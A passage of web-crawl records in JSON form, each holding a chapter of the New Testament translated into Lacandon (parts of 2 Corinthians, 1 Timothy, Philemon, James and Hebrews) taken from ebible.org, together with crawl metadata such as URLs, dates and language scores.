qui' najtiquexe'. 14 Mʌ' ja wirej, ta chʌc najtex chichin rajen je' u qui' tar a worex quire' a tenobo', bayiri' xan je' u qui'tar in worob quire' a techexo' ca' bin c'uchuc tu q'uinin ca' bin uruc ic Jaj Ts'urirex Jesucristo.\n15 A teno' in jach er tu jaj aro'. Rajen in wer in man pʌyber tu yʌn techex soc a baywo' quic pacran iric ic bʌjex tu ca'ten, mʌ' chen turiri' quij quiric ic bʌjexi'. 16 Quire' in wer wa ber quin bin ich u ru'umin Macedonia ti' quin bin man tu yʌnechex. Bayiri' ca' bin uquen tu ru'umin Macedonia ti' quin bin wʌc'ʌs man tu yʌnechex. In c'at a yamtiquenex soc c'ucha'an in wor in bin tu ru'umin Judea. 17 Ra' in jach c'at in wirechex uch, chen a teno' mʌ' tareni'. Jaj ix tʌcoj ca tus tucriquex a teno' quin betic an ten bic mac cʌja'an te' ich yoc'ocab cu chen beticob. Robob cu ya'aricob cu bin u beticob ba', chen robob yerob mʌ' ju bin u beticobi'. 18 Mʌ' ja wirej, a C'ujo', raji' jach taj yor C'uj, rajen mʌ' in manob in cacay tsicbʌtob. 19 A tenobo' caj in tsec'tob techex u t'ʌn Jesucristo uch, raji' u parar C'uj aro' mʌ' cacay caj in tsec'tob xan. Bayiri' xan, caj in tsec'techex quet yejer Silvano yejer Timoteo. Tu cotorenob caj in tsec'tob techex caj in wa'arob techex wa Cristojo' raji' taj. 20 Mʌ' ja wirej, raji' Cristo caj u nup'saj tu cotor u t'ʌn C'uj a tu toc araj C'uj uch. Rajen tan ic sʌjtiquex C'uj wa quij cacsiquex tij corex ti' u parar C'uj. 21 U bʌjiri' C'uj tan u chichquintic ij corex soc mʌ' ic p'ʌtiquex Cristo soc p'eri' ij corex yejer Cristo. Raji' C'uj caj u ts'aja tenob in beyajob. 22 A C'ujo' caj u tetenob soc raji' yʌninenob a tenobo'. In werob quire' tu chaj u Taj'or u Pixam C'uj u cʌjtar tin pixamob soc in werob yʌn toj quir u tar u nup'sej a ba' u toc aramʌn C'uj.\n23 A teno' quin wa'aric techex ʌcʌtan C'uj raji' yer wa taj quin wa'aric techex. A teno' in wer mʌ' jin tar in wirechex uch quire' in wer bin in ca' in q'ueyechex quire' a ba' ta betajex uch. 24 A tenob mʌ' in c'at a ts'urintiquenex, mʌ' jin ts'ʌrob a pachex quir a wacsiquex ta worex. Mʌ' ja wirej, p'eri' in beyajob yejerechex soc qui' a worex quire' tan a qui' acsiquex ta worex ti Cristo.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/2CO01.htm","date":"2021-12-02T12:33:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00317.warc.gz","language":"lac","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"lac_Latn_score\": 0.9999957084655762}","num_words":1052,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', CAJ U YɅN BAT'AN TS'IBTA PABLO TI' TIMOTEO\n1 TIMOTEO\n1\nTimoteo ts'ibta'b ten Pablo\n1 Pablojen a teno' tuchi'ta'ben ten C'uj, a mac ij cʌjtaquirex. Bayiri' xan tuchi'ta'ben ten Jesucristo a mac a quic pajico' ca' ij quirej. 2 Tan in ts'ibtic tech Timoteo, a je' ju'una' quire' a techo' u tajir in pararech. Mʌ' ja wirej, ta wacsaj ta wor u t'ʌn C'uj caj a wu'y in tsicbʌtech. In c'at C'uj ca' u yam tech quire' raji' ic Tetex, Timoteo. Quire' in c'at C'uj, ic Tetex, ca' u yajquintech soc mʌna' ba' ca tucric. Ca' qui'ac a wor ten C'uj soc mʌna' ba' ca tucric quire' C'uj ic Tetex, yejer Jesucristo ic Jaj Ts'urirex xan.\nCa' u cʌnant a bʌj Timoteo quire' a ba' tus camsa'\n3 C'ʌ'otej Timoteo quire' ti' yʌn mac, mʌ' ya'ab, cu camsicob u rac'ob ich u rac'ob Efeso. Chen mʌ' u t'ʌn C'uj tan u camsicob. Arej ti'ob, Timoteo ca' u p'ʌtob u camsicob aro'. Rajen tin chich araj tech ca' p'ataquech ich u cajar Efeso caj bineno' tu ru'umin Macedonia. 4 Yʌn arej ti'ob a yʌjcamsʌyʌjirob soc mʌ' u saricob u xiquinob ti' a ba' tu yubob ti' u nunquirob a mʌ' taji'. Arej ti'ob ca' u rʌc p'ʌticob a rajra' u xaquicob u t'ʌn u nunquirob baxuc a tu ju tarob uch. Mʌ' ja wirej, u jer a cu yubicob a ti'obo' cu nunquic u t'ʌnob. Tu cotor aro' mʌ' ju yamtob ca' u najtob u beyaj C'uj. Chen cu bin u najtob u beyaj C'uj wa ber q'uin cu quibicob a ba' ts'iba'an ich u t'ʌn C'uj.\n5 A wer biquin quin chich aric tech ca' a chich camsej ti'ob a je' t'ʌna'? A je' t'ʌna' quir u yajquinticob u yet acsʌ'orirob jerer. A je' t'ʌna' quir u yajquinticob a ti'obo' u tajir tu yorob. Tin chich arej ti'ob ca' u yajquintob u yet acsʌ'orirob soc jach tsoy u tucurob. Tan in chich aric ti'ob ca' yajquintacob a ti'obo' quire' tu yacsob tu yorob u t'ʌn C'uj soc taj u yajquintic. 6 Yʌn yʌjcamsayʌjirob, mʌ' ya'abi' tu yʌnech. Tan u tus qui' camsicob a ba' tin wa'ara tech sam. Cu chen nunquicob u t'ʌnob rajen mʌna' cu cʌnicob. 7 Aro' tu pachticob u yocarob u camsicob u t'ʌn C'uj a ts'ibta'b ten u nunquirob Moisés uch. Chen mʌ' ju najtob a ba' cu chich camsicob, cax ya'aricob u ne'erob u t'ʌn Moisés.\n8 Ic toc er tsoy u t'ʌn Moisés wa mac u c'at u camsic u t'ʌn Moisés an ten bic C'uj u c'at. 9 Jari' ca' a najtej a je'ra'. Wa ber caj ts'ibta u t'ʌn C'uj Moisés uch caj u ts'ibtaj ti' a mac a cu manob tu si'pirob. Mʌ' ju ts'ibtaj quire' a mac a cu manob tu tsoyir, quire' tan u toc quibicob u t'ʌn C'uj. Mʌ' ja wirej, a mac c'aso' mʌ' ju yubob u t'ʌn u nʌ' cax u tet xan. A mac c'aso', cu jach quinsicob u rac'ob tu cotor. A mac a c'aso' cu quinsicob u tet cax u nʌ'. A mac c'aso' mʌ' u c'ujintob jach C'uj. A mac c'aso' quire' yʌn u si'pirob. 10 Mʌ' ja wirej, u t'ʌn Moisés caj ts'ibta'b ti' a mac a cu man yejer u jer. Ts'ibta'b ti' a mac a cu man yejer u yet xibir. U t'ʌn Moisés ts'ibta'b ti' a mac a cu ya'cric u jer winic. Ts'ibta'b ti' a mac a cu tus, bayiri' ti' a mac a cu chen tus, tan ya'aric u tajir a ba' cu tusic. U t'ʌn Moisés ts'ibta'b ti' tu cotor a c'aso' quire' raji' jach taj u t'ʌn Moisés. 11 A je' t'ʌna' a quin camsiquech Timoteo, ra'iri' caj u chich araj ten C'uj ca' in tsec'tej uch. Quire' raji' jach manan tsoy u t'ʌn a C'ujo' quire' jach tsoy a C'ujo'. Mʌna' u jer C'uj a jach tsoyo'.\nQui' yor Pablo quire' yajquinta'b ten C'uj\n12 Timoteo, quin wac ti' ic Jaj Ts'urirex Jesucristo:\n―Bayo', quen ti', quire' ta chichquint in muc' soc in beyaj tech.\nQuin wac ti':\n―Bayo' Jesús, quire' ta teten ti' a beyaj quire' caj a wiraj c'ucha'an in wor in yamtech. 13 Caj a teten ti' a beyaj cax a ucho' tin p'ast a t'ʌn. C'asen a ucho'. Caj in chuc u pachob a tu yacsob tu yorob tech quire' in c'at ch'esob. Chen a techo' C'uj, quen ti', ta yajquin ten rajen ta yamten cax mʌ' toy in wacsej tin wor a t'ʌn uch. Rajen mʌ' in wer ba' tin betaji'.\n14 Barej ic Jaj Tsurirex caj u yamten quire' jach carem cu yajquintiquen. Quire' tin wu'yaj mun quin yajquintic C'uj ra' u q'uinin caj in wacsaj tin wor ti' Jesucristo. Rajen quin yajquintic tu cotor mac quire' p'eri' in wor yejer Cristo.\n15 U'yej ba' quin wac quire' u jach tajir. Tu cotor mac ca' u quibej xan. Caj tarij Jesucristo tera' ich yoc'ocab, tar quir u taquic tu cotor mac a cu yac yʌn u si'pir a ti'o'. A teno' Pablojen. Mʌna' u jer manan u si'pir bajenen a teno'. Mʌ' ya'ab u jer winiquirob a neyʌn u si'pirob. 16 Rajen a C'ujo' caj u yajquin ten quir u yamtiquen. Mʌ' ja wirej, cax mʌna' u jer jach c'as iren a teno'. Caj u yesa nemʌ' bic Jesúsi' soc wa u jer winic cu c'uchur tu q'uinin yiric. Cu quibic, yacsic tu yor quir u cuxtar munt q'uin. Mʌ' ja wirej, tu yiraj C'uj tu yajquin ten rajen cu yacsic tu yor. 17 Rajen ca' ij carex ti' C'uj:\n―Jach caremech C'uj. U reyech munt q'uin. Mʌna' u jer irech quire' turiri'ech. Jariri'ech a ne'er tu cotor ba'. Jariri'ech munt q'uinech mʌ' a quimin. Jariri'ech cu bin sʌjtechob munt q'uin. Mʌna' mac chʌca'an yiriquech. Jeroj.\n18 Quin chich aric tech Timoteo in pararech soc a qui' cʌnantic a je' t'ʌna'. A caj u tsec'ta tech a wet acsʌ'orir a ts'a'b u tucur ten C'uj uch. Mʌ' ja wirej, wa taj ca c'ʌmic u t'ʌn C'uj a wʌc'ʌs tucur mʌ' ju tac' a jo'r. Taj a wacsic ta wor xan. 19 Ti' yʌn xib, mʌ' ya'abi'. A mʌ' ju yubob u wʌc'ʌs to'car u jo'r ten u tucurob, rajen tu p'ʌtob u yacsicob tu yorob. 20 Robob Himeneo yejer Alejandro. Robob caj in c'ubob ti' quisin soc u muc'yajob soc u p'ʌticob u p'asticob C'uj.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/1TI01.htm","date":"2021-11-27T02:41:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00133.warc.gz","language":"lac","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000011920928955}","num_words":1040,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA' CAJ U TS'IBTA PABLO TI' FILEMÓN\n1\nA Pablojo' tu ts'ibtaj ti' Filemón\n1 A teno' Pablojen, quin ts'ibtic tech Filemón. Toc chuca'anen ten u winiquirob romano, Filemón, quire' u yajir u jach tsoyir u t'ʌn Jesucristo. A je' ju'una' quin ts'ibtic tech Filemón p'erir yejer Timoteo, quin ts'ibtiquech. Ic jach yajex ic bʌj yejer Timoteo, Filemón. Mʌ' ja wirej, a techo' ij quet beyajech, Filemón. 2 A je' ju'una', tan in ts'ibtic, quir in t'ʌnic a mac a cu yocar c'ayobe' ich a watoch, Filemón. Baxuc quin t'ʌnic a xquico', Apia, u c'aba' xquic, quire' raji' in wet acsʌ'orir. Tan in t'ʌnic xan Arquipo in wet acsʌ'orir, Arquipo. Mʌ' ja wirej, cu yamtiquenob tu quic tsec'tic u t'ʌn C'uj uch ich u cajar Efeso. Tu yʌnechex baje'rer. 3 Ij c'at, ca' u yamtechex, quire' cu yajquintiquechex ic Tetex C'uj yejer ic Jaj Ts'urirex Jesucristo. In c'at ca' qui'ac a worex ti' ic Tetex C'uj yejer ic Jaj Ts'urirex Jesucristo.\nCu ya'aric Pablo bic tabar Filemón caj u yajquintaj u rac'ob\n4 A teno', quij Pablo, su'su' quin t'ʌnic C'uj. Quin wa'aric ti' C'uj: \"Bayo' C'uj, quire' tu yacsa tu yor Filemón.\"\nBaxuc quin wac ti' C'uj ca' bin in t'ʌnej C'uj. 5 Quire' caj in wu'yaj, mun caj a yajquinta Jesucristo, quet bayiri' a rac'ob caj a yajquintaj. Baxuc tech Filemón, caj in wu'yaj taj ta wacsa ta wor u t'ʌn C'uj. 6 Rajen quin t'ʌnic C'uj ca' a qui' najtex bic jach manan caj u yamtaj techex Jesucristo. Bayiri' ten caj u yamten. Quire' tech Filemón wa ber caj a tsec'taj u t'ʌn C'uj ti' a rac'ob, Filemón caj u quibob u t'ʌn C'uj quire' tan yacsicob tu yor. 7 Jach qui' in wor, quire' caj in wu'yaj caj a jach yajquint a yacsmʌnob tu yorob Filemón quire' tan a qui'quintic u yorob, rajen caj in wu'yaj aro', tan a chichquintic in wor Filemón xan.\nPablo cu c'atic ti' Filemón ca' u yamt a c'urew Onésimo\n8 Rajen quin ts'ibtic tech ju'un Filemón, quir in chich c'atic tech. Ca' a yam ten Filemón. Quire' caj u tuchi'ten ic Jaj Ts'ur Jesucristo, rajen tsoy ca' in c'atej tech soc a yamtiquen. 9 Chen quin c'atic tech quire' tech ta yajquinta Cristo, rajen in wer je' a yamtiquene'. Mʌ' ja wirej, baje'rere' nuxiben, quire' u c'ʌrʌmʌnenob u winiquirob romano quire' tin tsec'ta ti'ob u t'ʌn Cristo Jesús. 10 Quin chich aric tech Filemón ca' a yamt a c'urew uch Onésimo. Mʌ' ja wirej, caj yubaj in tsec't u t'ʌn C'uj caj u yacsa tu yor u t'ʌn C'uj, rajen in parar Onésimo. Mʌ' ja wirej, caj yub in tsec't u t'ʌn C'uj Onésimo tu c'ʌra'anen ich u winiquirob romano.\n11 A ucho' Filemón, caj a wa'araj mʌ' ba'wir tech a c'urew Onésimo. Caj a wa'araj uch: \"Jot.\" Chen a baje'rere' tu yacsa tu yor u t'ʌn C'uj, Onésimo. Rajen tsoy, ca' u yamtech Onésimo, Filemón, quire' a baje'rere' tu yamtiquen Onésimo. 12 A baje'rere', tar u ca', Onésimo, ca' bin in tuchi'tej Onésimo, Filemón. Qui' acsej Onésimo ich a watoch Filemón quire' in jach yaj Onésimo. 13 A ucho', in jach c'at in wirej u p'atʌr Onésimo tin wicnʌn ca' u yamten Onésimo quire' u chucmʌnen u winiquirob romano caj in tsec'taj u t'ʌn C'uj uch. Mʌ' ja wirej, a techo', tin wiraj Filemón mʌ' c'ucha'an a wor a yamten tub u chucmʌnen u winiquirob romano quire' nach yʌnech a techo'. Rajen in chen c'at u p'atʌr Onésimo tu yʌnen. 14 Cax in jach c'at in wir u p'atʌr Onésimo tu yʌnen, chen mʌ' in c'at in wirej wa cu p'atʌr Onésimo wa mʌ' tsoy ta t'ʌn tech Filemón. In c'at quet a wor yejer Onésimo. 15 A ucho' caj a tucraj mʌna' Onésimo, caj u putsurech, jaj ix tʌco tsoy tu t'ʌn C'uj caj u puts'urech. Baje'rer wʌc'ʌs tar u ca' tu yʌnech soc rajra' cu bin beyaj tech. 16 Ca' bin uruc a c'urew Filemón, mʌ' bic a c'urewi' ca' bin uruqui' quire' tu yacsaj tu yor, Onésimo. A baje'rere' Filemón, a wits'in Onésimo, quire' tu yacsaj tu yor. Ca' a wacsej Onésimo, an ten bic a mac a jach yaje'. Quire' a teno' in jach yajquinta Onésimo xan. A techo', jach manan ca' a yajquintej Onésimo, quire' mʌ' chen a c'urew, bayiri' a wits'in. Quire' tu yacsaj tu yor u t'ʌn Cristo.\n17 U'yej, ba' quin wa'aric Filemón, wa ca tucric a nup'en in wet beyajech ca' a qui' acsej Onésimo an ten bic a wacsiquen ich a watoch. 18 Wa ti' yʌn ba' caj u tusaraj tech uch cax wa yʌn u berer tech. Ts'ibtej ten, a teno' je' in bo'otiqueche'. 19 A teno' Pablojen, tan in ts'ibtic tin c'ʌb tan in wac tech Filemón, je' in bo'otic u berer Onésimo teche'. Chen ca' in c'ase tech Filemón, cax mʌ' in c'at in wac tech. Yʌn a berer, ten, quir a cuxtar. Mʌ' wa ta wacsaj ta wor caj a wu'yaj in tsicbar tech uch? 20 Rajen qui'quintej in wor Filemón in bʌjobech quire' tech ta wacsa ta wor u t'ʌn Jaj Ts'ur. Chichquint in wor quire' baxuc a mac a tu yacsa tu yor cu man yirej caj u chichquintej yor, rajen ca' a jaws u si'pir Onésimo.\n21 A teno' in ts'ibtic tech quire' in wer je' a wu'yic in t'ʌne' jerere'. In wer jach manan a wu'yic a ba' quin c'atic teche'. 22 Bayiri' xan, cʌxtej turiri' ch'ac tu quin wenʌn ca' bin taquen, quire' tan in pajic a C'uje' raji' cu bin u nunc a t'ʌnex, tu ca c'atiquex ca' u cha' in bin C'uj. A baywo' je' in wiriquexe'.\nTs'ocar u t'ʌn Pablo ti' Filemón\n23 Epafras, in wet c'ara'an winic quire' tu tsec'taj u t'ʌn Cristo Jesús xan. Raji' arej ca' in qui' t'ʌnech. 24 Bayiri' xan in wet beyajob, a cu yamticob in tsec'tej u t'ʌn C'ujo'. Robob Marcos, Aristarco, Demas yejer Lucas. Bayiri' xan cu ya'aricob ca' in t'ʌnech.\n25 Ca' u qui' cʌnantech Jaj Ts'ur Jesucristo jeroj ts'oqui Filemón, quij Pablo.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/PHM01.htm","date":"2021-12-07T03:38:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363332.1\/warc\/CC-MAIN-20211207014802-20211207044802-00436.warc.gz","language":"lac","language_score":0.9999068975,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9999068975448608}","num_words":981,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.281,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', RAJI' TI' U YET WINIQUIROB JUDÍO A TANTANXER CɅJA'ANOB. RAJI' TU TS'IBTA SANTIAGO\n1\n1 A teno' Santiagojen. U c'urewen C'uj. U c'urewen Jaj Ts'ur Jesucristo xan. Tantanxer ich yoc'ocab quin rʌc t'ʌnic a raji'ob u yo'nen Israel, a doce yo'neno', rajen tan in ts'ibtic techex a je' ju'una' soc a xaquic a wirex.\nCa' ic najtej a ba' cu tar ich C'uje'\n2 Qui'quint a worex in bʌjobechex ca' bin a wu'yex u tumtic a worex. Cax wa ba' quir u tumtic a worex. 3 Mʌ' ja wirej, ra' u q'uinin ca' bin a wu'yex u tumtic a worex yirej wa taj ta wacsa ta worex. Chichquint a worex soc a qui' cʌniquex soc nemʌ' biquechexi'. 4 Rajen ca' a muc'tex a ba' cu tar u tumtiquex a worex soc ra' cu bin u chichquintiquex a worex soc abaywo' c'ucha'an a worex a muc'tex tu cotor ba'. A baxuco' wa ta cʌne'ex aro' taj ta wacsex ta worex.\n5 Rajen wa mʌ' a werex bic tabar a mʌnex tu tsoyir an ten bic C'uj u c'at, je' u ts'ic techex C'uj quir a najtiquex bic tabar a mʌnex tu tsoyir wa ca c'atiquex ti' C'uj. Quire' a C'ujo' je' u ts'ic techex, cax wa mun a c'atex, quire' qui' yor u ts'ic techex. Mʌ' ju ya'arej mʌ' u ts'a techex a C'ujo'. 6 Wa ber ca c'atiquex ti' C'uj, toc acsex ta wor u t'ʌn ca' bin u ts'aje techex C'uj. Mʌ' a tucriquex ta worex chichin, mʌ' ju ts'a'bʌr techex. Wa ca tucriquex ta worex chichin, a baxuco' mʌ' tan a wacsiquex ta wor, rajen irechex u yamin petja' cu tar yic'ar cu wʌc'ʌs bin u yamin tu pach. 7 Wa baxuc tu cʌn u yamin petja'. Mʌ' u chen tucric wa je' u ts'a'bʌr ti' ten C'uj a ba' u c'ato' 8 quire' raji' ir u ya'amin petja' quire' mʌ' ju tucraj wa je' u yamta'r ten C'uje'. A baywo' mʌ' u yer bic tabar u man tu tsoyiri'.\n9 Wa otsirchʌjechex in bʌjobechex qui'quint a worex ca' a wu'y u yamtiquechex C'uj, tsoy ca' a wu'yex jach caremechex ten C'uj. 10 Baxuc a neyʌn a taq'uinex in bʌjobechex qui'quint a worex quire' C'uj tu cha' u choquint a worex u jer. Mʌ' ja wirej, a mac neyʌn u taq'uin mʌ' u yuchtar te' ich yoc'ocab bayiriri' u taq'uin mʌ' u yuchtar. Irej u topche', quij, mʌ' u chich p'atʌr cu rʌc jutur. 11 Wa cu nacar ic yum cu jach chʌcʌchʌjʌr, cu tijir a su'uco', cu jutur u top', cax tsoy u top' ca'ch, cu ts'uts'ur cu c'astar. Baxuc a neyʌn u taq'uin xan, mʌ' u chich p'atʌr, cu quimin tu cu nejaric u taq'uin.\nA ba' cu tar u tumtic ij corex\n12 Qui' ij corex wa quic muc'tiquex a ba' cu tar to'on. Ca' bin ts'ocac u tumtic ij corex wa mʌ' tic p'uspachtex C'uj, je' u ts'ic to'onex C'uj quir ij cuxtarex munt q'uin. Je' u ts'ic to'onex C'uj quire' quic yajquintiquex C'uj, quire' baxuc caj u toc ara to'onex C'uj. 13 A C'ujo', mʌna' mac tumtic yor a C'ujo' quire' u pʌyic u si'pir. Baxuc xan, a C'ujo', mʌ' u tumtej yor mac quir u pʌyic u si'pir. 14 Mʌ' ja wirej, raji' cu pʌyic ic si'pirex a ba' quic jach pachtiquex tij corex, a c'aso'. Bayiri' xan ra' cu pʌyic ic si'pirex a c'as quic tucriquexo'. 15 Wa quic cha'ic u pʌyic ic si'pirex aro' quire' c'as quic pachtiquex, quire' c'as quic tucriquex. Raji' cu bin u jach pʌyic ic berex soc jach yʌn ic si'pirex. Raji' cu bin sʌtico'onex.\n16 Rajen mʌ' a wʌc'ʌs tus aric a bʌjiri'exe' in bʌjobechex, quij, quire' in jach yajechex quire' a C'ujo' mʌ' u tumtic yor mac quir u pʌyic a si'pir. Chen a C'ujo' cu pʌyiquechex tu tsoyir. 17 Tu cotor a ba' tsoyir cu tar to'onex quij c'ʌmiquex ti' C'uj. Quire' mʌ' c'as a cu tar ich C'ujo'. Mʌ' ja wirej, C'uj tu bet u sasirir ca'anan. Yʌn q'uine' cu ba'ar u sasirir ca'anan. Mʌ' baxuc a C'ujo', chen u jach tsoyir a C'uj mʌ' ju ba'arʌr. Mʌ' ju c'axic u tucur rajen a C'ujo' mʌ' u tumte yor mac quir u pʌyir u si'pir. 18 Rajen caj ic yʌn bat'an acsaj tij corex ti' u tajir u t'ʌn C'uj quire' a baywo' u c'at C'uj, rajen jach nojechex a techexo'. Rajen tu ch'aj u pararinto'onex C'uj.\nBic tabar jach taj ca' ij c'ujintiquex C'uj\n19 U'yex in bʌjobechex in jach yajechex wa mac cu tsicbʌtechex. Toc qui' u'yex soc mʌ' seb a nunquiquex a ba' ca tucriquex, soc mʌ' seb cu p'ujurex a worex. 20 Mʌ' ja wirej, wa tic ts'iquenta mac. Mʌ' tsoy ca' ic tus tucrej wa tij qui'quintex yor C'uj. 21 Rajen ca' ic p'ʌtex a ba' c'asir cu pʌyic ic si'pirex, ca' ic p'ʌtex ic tsicbʌtiquex a ti' yʌn jach manan c'aso'. Seb a qui' c'ʌmiquex u t'ʌn C'uj a tu ts'a techex C'uj quire' raji' c'ucha'an yor u taquico'onex u t'ʌn C'uj.\n22 Quibex a ba' cu ya'aric techex C'uj. Mʌ' chen jari' a wu'yiquex a ba' cu ya'aric C'uj. Quire' ca' manaco'onex tu tsoyir xan. Wa mʌ' jic manex tu tsoyir, ic wʌc'ʌs bʌjiri'ex tan ic tusiquex. 23 Wa quic chen u'yiquex u t'ʌn C'uj chen mʌ' tan ij quibiquex, cu tubur to'onex iro'onex a mac a cu yiric u wich yejer nen. 24 Ca' bin ts'ocac ij quiriquex ij quichex yejer nen quic binex. Jeroj seb cu tubur to'on wa ec' ij quichex. 25 Mʌ' ja wirej, a ba' tu toc araj to'onex C'uj jach tsoy. Quire' ra' cu ruc'sic to'onex ic si'pirex. Quire' baje'rer tij cu'yex rajen tic acsex tij corex. Wa mʌ' ju tubur to'onex a ba' tij cu'yex ya'aric C'uj. Ca' ic quibiquex a C'ujo' bin u ca' u qui' yamto'onex. Jeroj qui' ij corex a ba' quic betiquex.\n26 Wa quic tus tucriquex tij corex tij cacsex tij corex. Chen quic p'astiquex ic rac'obex. Ic wʌc'ʌs bʌjiri'ex quic tusariquex quire' mʌ' tan ic jach c'ujintiquex C'uj. 27 Wa taj caj ij quibex u t'ʌn C'uj ti' ic Tetex. Ca' ic yajquintex mac ca' ic yamtex. Bayiri' xquic ca' ic yamtex a quimen u mamo'. Bayiri' ca' ic yamtex a quimij u nʌ', a quimij u tet xan. Baxuc xan mʌ' ic cha'ic ij cacsiquex ic si'pirex. Quire' a baywo' tan ic qui'quintiquex yor C'uj.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/JAS01.htm","date":"2021-12-01T13:25:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964360803.0\/warc\/CC-MAIN-20211201113241-20211201143241-00539.warc.gz","language":"lac","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"lac_Latn_score\": 1.0000020265579224}","num_words":1039,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', RAJI' TI' U YET WINIQUIROB JUDÍO A CU TSICBAROB U T'ɅN HEBREO\nHEBREOS\n1\nA C'ujo' caj tsicbanʌjij ti' to'onex soc ic najtiquex u t'ʌn\n1 Ch'ic uch, a C'ujo', quij, caj u t'ʌnob ic nunquirex u winiquirob judío. Ya'ab u tenin caj u t'an ti'ob, caj u ts'aja u tucurob yʌjtseq'uirob u t'ʌn C'uj quir u tsicbarob ti' ic nunquirex a ba' u c'at C'uj. A jun xot'o' caj ts'a'b ti' jujunturi mac uch, u jer jun xot' u t'ʌn caj ts'a'b ti' u jer mac. Bayiri' caj esaj ya'ab ba' ti'ob soc yerob a ba' u c'at C'uj. 2 Chen a je' q'uina', quire' tab u xur t'ʌn raji' caj u t'ʌnajo'onex, tan u c'ʌnic u parar quir u t'ʌnic to'onex. A C'ujo' caj u betaj tu cotor ba', cax a ru'umo', cax a ca'anano' caj u c'ʌnaj Jesús quir u betic a ca'anano', quir u betic ich yoc'ocab xan. A C'ujo', caj u toc rʌc ts'aj ti' u parar tu cotor ba' soc raji' yʌnin u parar. 3 An ten bic cu sasir ic yumo', bayiri' a Jesúso' cu yesic u muc' u Tet C'uj. Mʌ' ja wirej, p'eriri'ob, Jesús quet yejer u Tet. Raji', yejer tu cotor u muc' cu cʌnantic a je' yoc'ocab. Mʌ' ja wirej, raji' cu cʌnantic tu cotor aro' quire' jach chich u muc' u t'ʌn. Raji' caj ts'oc u rʌc ruc'sic u si'pir tu cotor mac ich cruz. Caj curaj ich u noj C'uj ich ca'anan, a mac jach manan u muc'. Caj curaj ich u noj C'uj quir u bin sʌjta'bir ten tu cotor mac.\nA yʌjmasirob u t'ʌn C'ujo', jach no'j, chen a no'jo' a ra' yʌnin u parar C'uj, jach manan no'j\n4 U parar C'uj jach manan ti' u yʌjmasirob u t'ʌn C'uj. Jach manan ti' quire' baxuc u c'at C'uj, rajen ts'a'b ti' u muc' ten C'uj, cax a ti'ob yʌjmasirob u t'ʌn C'uj. 5 Mʌ' ja wirej, a C'ujo' mʌ' biq'uin caj u ya'araj ti' yʌjmasirob u t'ʌn C'uj, mʌ' turiri' caj u ya'araj ti' yʌjmasirob u t'ʌn C'uj:\nA techo', quij C'uj, in pararech, baje'rer caj in wesaj a techo', in pararech quij.\nBayiri' xan mʌ' tu ya'araj C'uj ti' yʌjmasirob u t'ʌn:\nRaji' in pararo', a teno' in Tet.\n6 Caj tuchi'ta'b ten C'uj u parar, a turiri' u pararo'. A ra' caj rocha'b ten u nʌ' ich yoc'ocab. Caj ya'araj C'uj:\nA techexo', ʌjmasirechex in t'ʌn, ca' a c'ujintex in parar, tu cotorechex ca' a c'ujintex in parar quij.\n7 U'yex ba' caj ya'araj C'uj ti' yʌjmasirob u t'ʌn uch:\nWa ber caj beta'b ten C'uj yʌjmasirob u t'ʌn robob irob a ic'o' quir u c'ʌnic a ti'obo'. Robob caj beta'b ten C'uj yʌjmasirob u t'ʌn irob c'ac' soc u c'ʌnic a ti'obo'.\n8 U'yex ba' caj u ya'araj C'uj ti' u parar:\nTi' a cutano' tech C'uj tu cu bin u reyintiquechob mac. Munt q'uin cu bin u reyintiquechob mac. Jach taj tech cu bin u reyintiquechob mac quire' a techo' mʌna' a c'asir a techo'. 9 Mʌ' ja wirej, a techo' ca yajquintic a tsoyo', chen a c'aso' ca p'actic. Rajen a teno' in C'ujech tin qui'quint a wor jach manan ti' a wet manob, quire' tan in tetic tech quire' u reyintiquechob mac.\n10 Caj wʌc'ʌs a'araj ti' u parar:\nA techo' u Jaj Ts'urirech tu cotor mac. A techo' caj a betaj yoc'ocab tu yʌnxchun yejer u jach chichir a muc'. A bʌjiri' ta betaj a ca'anano' yejer u jach chichir a muc' xan. 11 Rajen, cax ca' bin xuruc aro', chen a techo' munt q'uin ti' yʌnech. A ca'anano' je' u rabare' an ten bic cu rabar noc' quire' uchben. 12 Irej noc' cu c'oxar cu buquintic u jer. Cu bin c'axbir tech a ca'anano'. Chen a bʌjiri' a techo' ra'iri'ech, mʌ' a quimin a techo' munt q'uin.\n13 A C'ujo' mix biq'uin caj ya'araj ti' yʌjmasirob u t'ʌn:\nCuren te' tin noj hasta quin ts'ic tech in muc' soc in ruc'sic a mac a cu p'actiquech soc mʌ' u wʌc'ʌs 